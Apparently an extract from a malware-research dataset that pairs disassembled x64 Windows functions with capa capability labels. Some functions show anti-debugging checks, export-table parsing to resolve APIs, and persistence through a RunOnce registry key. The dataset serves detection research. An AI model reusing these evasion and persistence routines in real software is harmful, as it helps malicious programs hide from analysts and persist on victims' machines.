joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002ed0
Capabilities:
Create directory
Generate random numbers via rtlgenrandom

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rsi, r8
mov rdi, rdx
mov r15, rcx
mov qword [r8], 0x6c
mov edx, 0x104
mov rcx, rdi
mov r8, r15
call fcn.140003470
test al, al
je 0x140002f37
lea r8, [0x140005662]
mov ebx, 0x104
mov edx, 0x104
mov rcx, rdi
call fcn.1400034b0
test al, al
je 0x140002f37
mov edx, 0x104
mov rcx, rdi
call fcn.140003440
sub rbx, rax
cmp rbx, 0xb
jae 0x140002f4a
xor eax, eax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14, rax
xorps xmm0, xmm0
lea rdx, [rsp + 0x38]
movaps xmmword [rdx - 8], xmm0
mov qword [rdx + 8], 0
mov dword [rdx - 8], 0x18
mov rcx, r15
call fcn.140002da0
test al, al
jne 0x140002f87
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 0x75
mov qword [rsi], rax
jmp 0x140002f37
mov qword [rsi], 0x6d
lea r15, [rdi + r14*2]
mov rbp, r14
add rbp, 5
mov r13d, 0xfffffff6
lea r12, [rsp + 0x2c]
jmp 0x14000301b
lea r8, [0x140005598]
mov edx, 0x104
mov rcx, rdi
call fcn.1400034b0
mov qword [rsi], 0
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140002fd1
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [rsi], 0
sete al
jmp 0x140002f39
mov word [rdi + r14*2 + 0xa], 0
mov edx, 0x104
mov rcx, rdi
lea r8, str..tmp
call fcn.1400034b0
mov rdx, qword [rsp + 0x38]
test rdx, rdx
lea rax, [rsp + 0x30]
cmovne rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140002fa6
inc r13d
je 0x140002fc1
mov rcx, r12
mov edx, 4
call sub.ADVAPI32.dll_SystemFunction036
mov edx, 4
mov rcx, r12
mov r8, r15
mov r9, rbx
call fcn.1400033e0
cmp rbp, 0x103
ja 0x140002fe4
jmp 0x140002fdc

Function at 0x1400036f0
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov rdi, r9
mov rsi, r8
lea r9, [rsp + 0x34]
mov dword [r9], 0
lea eax, [rdi + rdi]
lea r8, [rsp + 0x30]
mov dword [r8], eax
mov rcx, qword [rcx]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rsi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140003734
add rsp, 0x38
pop rdi
pop rsi
ret
mov eax, 0x32
cmp dword [rsp + 0x34], 1
jne 0x14000372d
mov ecx, dword [rsp + 0x30]
cmp rcx, 2
jb 0x140003768
mov eax, ecx
and eax, 0xfffffffe
cmp word [rax + rsi - 2], 0
je 0x14000376d
shr rcx, 1
mov eax, 0xea
cmp rcx, rdi
jae 0x14000372d
lea rsi, [rsi + rcx*2]
mov word [rsi], 0
xor eax, eax
jmp 0x14000372d

Function at 0x140003780
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x38
lea r9, [rsp + 0x34]
mov dword [r9], 0
lea rax, [rsp + 0x30]
mov dword [rax], 4
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400037ba
add rsp, 0x38
ret
mov eax, 0x32
cmp dword [rsp + 0x34], 4
jne 0x1400037b5
xor ecx, ecx
cmp dword [rsp + 0x30], 4
mov eax, 0xe8
cmove eax, ecx
jmp 0x1400037b5
Function at 0x1400037e0
Capabilities:
Set registry value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax*2 + 2]
mov rcx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov rdx, rdi
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x140003830
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
lea rax, [rsp + 0x34]
mov dword [rax], r8d
mov rcx, qword [rcx]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
add rsp, 0x38
ret

Function at 0x140003870
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rsi, r9
mov rdi, r8
lea rax, [rsp + 0x38]
mov qword [rax], 0
mov qword [rsp + 0x20], rax
xor ebx, ebx
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400038e5
mov rbx, qword [rsp + 0x80]
lea r9, [rsp + 0x34]
mov dword [r9], 0
lea eax, [rbx + rbx]
lea rdx, [rsp + 0x30]
mov dword [rdx], eax
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rsi
mov rdx, rdi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400038ff
test eax, eax
sete bl
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400038f5
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov eax, 0x32
cmp dword [rsp + 0x34], 1
jne 0x1400038e0
mov ecx, dword [rsp + 0x30]
cmp rcx, 2
jb 0x14000392e
mov edx, ecx
and edx, 0xfffffffe
cmp word [rdx + rsi - 2], 0
je 0x140003933
shr rcx, 1
cmp rcx, rbx
jae 0x1400038e0
lea rsi, [rsi + rcx*2]
mov word [rsi], 0
xor eax, eax
jmp 0x1400038e0

Function at 0x1400039e0
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x248
mov rsi, rdx
mov rdi, rcx
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.140001d90
mov rcx, rbx
mov rdx, rsi
call fcn.140001df0
test al, al
je 0x140003ab3
mov rbx, qword [rdi + 8]
mov sil, 1
test rbx, rbx
je 0x140003ab5
xor r13d, r13d
mov ebp, 0x800000
lea r14, [rsp + 0x30]
lea r15, [rsp + 0x2c]
mov rsi, qword [sym.imp.KERNEL32.dll_WriteFile]
sub rbx, r13
cmp rbx, rbp
cmovae rbx, rbp
mov dword [rsp + 0x2c], 0
mov r12, qword [rdi]
add r12, r13
mov rcx, r14
call fcn.140001f60
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r12
mov r8d, ebx
mov r9, r15
call rsi
test eax, eax
je 0x140003a8e
add r13, rbx
mov rbx, qword [rdi + 8]
cmp r13, rbx
jb 0x140003a42
mov sil, 1
jmp 0x140003ab5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
lea rdi, [rsp + 0x30]
mov rcx, rdi
call fcn.140001ea0
mov rcx, rdi
call fcn.140001db0
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea rcx, [rsp + 0x30]
call fcn.140001db0
mov eax, esi
add rsp, 0x248
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140003b78
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x140003bf0
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x140003bf0
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x140003bf0
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x140003be4
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x140003c02
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x140003bd2
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x140003bf2
Function at 0x7ff6ff0a36d0
Capabilities:
Check for software breakpoints

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x7ff6ff13a080]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], 0x1000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x20], rax
jae 0x7ff6ff0a38c3
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.7ff6ff0a16a0
movzx eax, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
movzx eax, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movzx eax, byte [rsp + 0x43]
cmp eax, 0xff
jne 0x7ff6ff0a37a4
movzx eax, byte [rsp + 0x38]
cmp eax, 7
jne 0x7ff6ff0a37a4
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.7ff6ff0a16a0
movzx eax, byte [rsp + 0x43]
cmp eax, 0xcc
jne 0x7ff6ff0a37a4
jmp 0x7ff6ff0a38c3
movzx eax, byte [rsp + 0x43]
cmp eax, 0xff
jne 0x7ff6ff0a37f2
movzx eax, byte [rsp + 0x38]
cmp eax, 2
jne 0x7ff6ff0a37f2
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.7ff6ff0a16a0
movzx eax, byte [rsp + 0x43]
test eax, eax
jne 0x7ff6ff0a37f2
movzx eax, byte [rsp + 0x38]
cmp eax, 2
jne 0x7ff6ff0a37f2
jmp 0x7ff6ff0a38c3
movzx eax, byte [rsp + 0x43]
cmp eax, 0xc3
jne 0x7ff6ff0a38be
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.7ff6ff0a16a0
movzx eax, byte [rsp + 0x43]
cmp eax, 0xcc
je 0x7ff6ff0a3855
movzx eax, byte [rsp + 0x43]
cmp eax, 0xf
jne 0x7ff6ff0a3842
movzx eax, byte [rsp + 0x38]
cmp eax, 8
je 0x7ff6ff0a3855
movzx eax, byte [rsp + 0x43]
test eax, eax
jne 0x7ff6ff0a3857
movzx eax, byte [rsp + 0x38]
cmp eax, 2
jne 0x7ff6ff0a3857
jmp 0x7ff6ff0a38c3
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
cmp eax, 0xcd
jne 0x7ff6ff0a38be
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax + 1]
cmp eax, 0x2e
jne 0x7ff6ff0a38be
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax + 2]
cmp eax, 0xc3
jne 0x7ff6ff0a38be
mov rax, qword [rsp + 0x28]
add rax, 2
mov qword [rsp + 0x28], rax
jmp 0x7ff6ff0a38c3
jmp 0x7ff6ff0a3703
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.7ff6ff11b770
add rsp, 0x78
ret
Function at 0x7ff6ff0a3ab0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov byte [rsp + 0x20], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x30]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x24], 0
jmp 0x7ff6ff0a3b25
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x28]
add rax, 0x28
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x24], eax
jge 0x7ff6ff0a3b95
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.7ff6ff0a3940
test eax, eax
jne 0x7ff6ff0a3b90
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0xc]
add rax, qword [rsp + 0x68]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x28]
add eax, dword [rcx + 0x10]
mov eax, eax
add rax, qword [rsp + 0x68]
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x60]
call fcn.7ff6ff0a3a60
mov byte [rsp + 0x20], al
jmp 0x7ff6ff0a3b0d
movzx eax, byte [rsp + 0x20]
add rsp, 0x58
ret
Function at 0x7ff6ff0a3ba0
Capabilities:
Access peb ldr_data
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xb8
mov rax, qword gs:[0x60]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 0x18]
add rax, 0x10
cmp qword [rsp + 0x38], rax
je 0x7ff6ff0a3d71
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x88]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x20], 0
jmp 0x7ff6ff0a3cb3
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x7ff6ff0a3d5f
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x98], rax
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax*4]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0], rax
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x98]
call fcn.7ff6ff0a38e0
test eax, eax
jne 0x7ff6ff0a3d5a
mov rax, qword [rsp + 0xa0]
jmp 0x7ff6ff0a3d73
jmp 0x7ff6ff0a3ca9
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
mov qword [rsp + 0x38], rax
jmp 0x7ff6ff0a3bcf
xor eax, eax
add rsp, 0xb8
ret
Function at 0x7ff6ff0a3d80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 0x88]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x20], 0
jmp 0x7ff6ff0a3e4c
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x7ff6ff0a3ee8
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0x38], eax
movsxd rax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x80], rax
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx + rax*4]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x80]
call fcn.7ff6ff0a38e0
test eax, eax
jne 0x7ff6ff0a3ee3
mov eax, dword [rsp + 0x40]
jmp 0x7ff6ff0a3eea
jmp 0x7ff6ff0a3e42
xor eax, eax
add rsp, 0x98
ret

Function at 0x7ff6ff0a44a0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
sub rsp, 0x18
mov rax, qword gs:[0x60]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
cmp byte [rax + 2], 0
je 0x7ff6ff0a44c3
mov byte [rsp], 1
jmp 0x7ff6ff0a44c7
mov byte [rsp], 0
movzx eax, byte [rsp]
add rsp, 0x18
ret
Function at 0x7ff6ff0a60d0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub rsp, 0x48
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x18]
add rax, 0x10
cmp qword [rsp + 0x28], rax
je 0x7ff6ff0a6165
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
call fcn.7ff6ff0a4a60
movzx eax, al
test eax, eax
je 0x7ff6ff0a6134
mov rcx, qword [rsp + 0x20]
call fcn.7ff6ff0a58a0
mov byte [0x7ff6ff13b0e4], 1
mov rcx, qword [rsp + 0x20]
call fcn.7ff6ff0a4f50
movzx eax, al
test eax, eax
je 0x7ff6ff0a6156
mov rcx, qword [rsp + 0x20]
call fcn.7ff6ff0a5ca0
mov byte [0x7ff6ff13b0e4], 1
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
jmp 0x7ff6ff0a60f4
mov al, 1
add rsp, 0x48
ret

Function at 0x7ff6ff0a7040
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.7ff6ff0a60d0
call fcn.7ff6ff0a4680
movzx eax, byte [0x7ff6ff13b0e4]
test eax, eax
je 0x7ff6ff0a7069
call fcn.7ff6ff0a4110
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbase.dll_exit]
add rsp, 0x28
ret
Function at 0x7ff6ff0a7290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x7ff6ff13a080]
xor rax, rsp
mov qword [rbp + 0x88], rax
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 2]
lea rcx, [rbp + 0x40]
call fcn.7ff6ff0af8a0
mov rcx, rax
call fcn.7ff6ff0aaa30
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9d, 2
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
mov dword [rbp + 8], eax
cmp dword [rbp + 8], 0
je 0x7ff6ff0a7338
xor al, al
jmp 0x7ff6ff0a7401
lea rax, str.reg_add__HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce___v__Booted___t_REG_SZ__d_____f
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ucrtbase.dll_strlen]
inc rax
mov dword [rbp + 0xc], eax
lea rax, [rbp + 3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 3]
movzx r8d, byte [rbp + 4]
movzx edx, byte [rbp + 5]
lea rcx, [rbp + 0x30]
call fcn.7ff6ff0af980
mov rcx, rax
call fcn.7ff6ff0aa000
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x20], rax
mov eax, dword [rbp + 0xc]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov dword [rbp + 8], eax
cmp dword [rbp + 8], 0
je 0x7ff6ff0a73f2
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.advapi32.dll_RegCloseKey]
xor al, al
jmp 0x7ff6ff0a7401
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rbp + 0x88]
xor rcx, rsp
call fcn.7ff6ff11b770
add rsp, 0xe8
pop rdi
pop rbp
ret
Function at 0x7ff6ff0a7420
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x7ff6ff13a080]
xor rax, rsp
mov qword [rbp + 0x88], rax
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 2]
lea rcx, [rbp + 0x40]
call fcn.7ff6ff0af8a0
mov rcx, rax
call fcn.7ff6ff0aaa30
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9d, 3
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
mov dword [rbp + 8], eax
cmp dword [rbp + 8], 0
je 0x7ff6ff0a74c8
xor al, al
jmp 0x7ff6ff0a7583
lea rax, [rbp + 3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 3]
movzx r8d, byte [rbp + 4]
movzx edx, byte [rbp + 5]
lea rcx, [rbp + 0x20]
call fcn.7ff6ff0af9d0
mov rcx, rax
call fcn.7ff6ff0aa000
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.advapi32.dll_RegQueryValueExA]
mov dword [rbp + 8], eax
cmp dword [rbp + 8], 2
jne 0x7ff6ff0a7568
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.advapi32.dll_RegCloseKey]
xor al, al
jmp 0x7ff6ff0a7583
cmp dword [rbp + 8], 0
jne 0x7ff6ff0a7574
mov al, 1
jmp 0x7ff6ff0a7583
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.advapi32.dll_RegCloseKey]
xor al, al
mov rcx, qword [rbp + 0x88]
xor rcx, rsp
call fcn.7ff6ff11b770
add rsp, 0xe8
pop rdi
pop rbp
ret

Function at 0x7ff6ff0a7640
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_GetFileAttributesA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x7ff6ff0a7663
xor al, al
jmp 0x7ff6ff0a7694
mov eax, dword [rsp + 0x20]
and eax, 0xfffffffb
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 0xfffffffd
mov dword [rsp + 0x20], eax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
je 0x7ff6ff0a7692
mov al, 1
jmp 0x7ff6ff0a7694
xor al, al
add rsp, 0x38
ret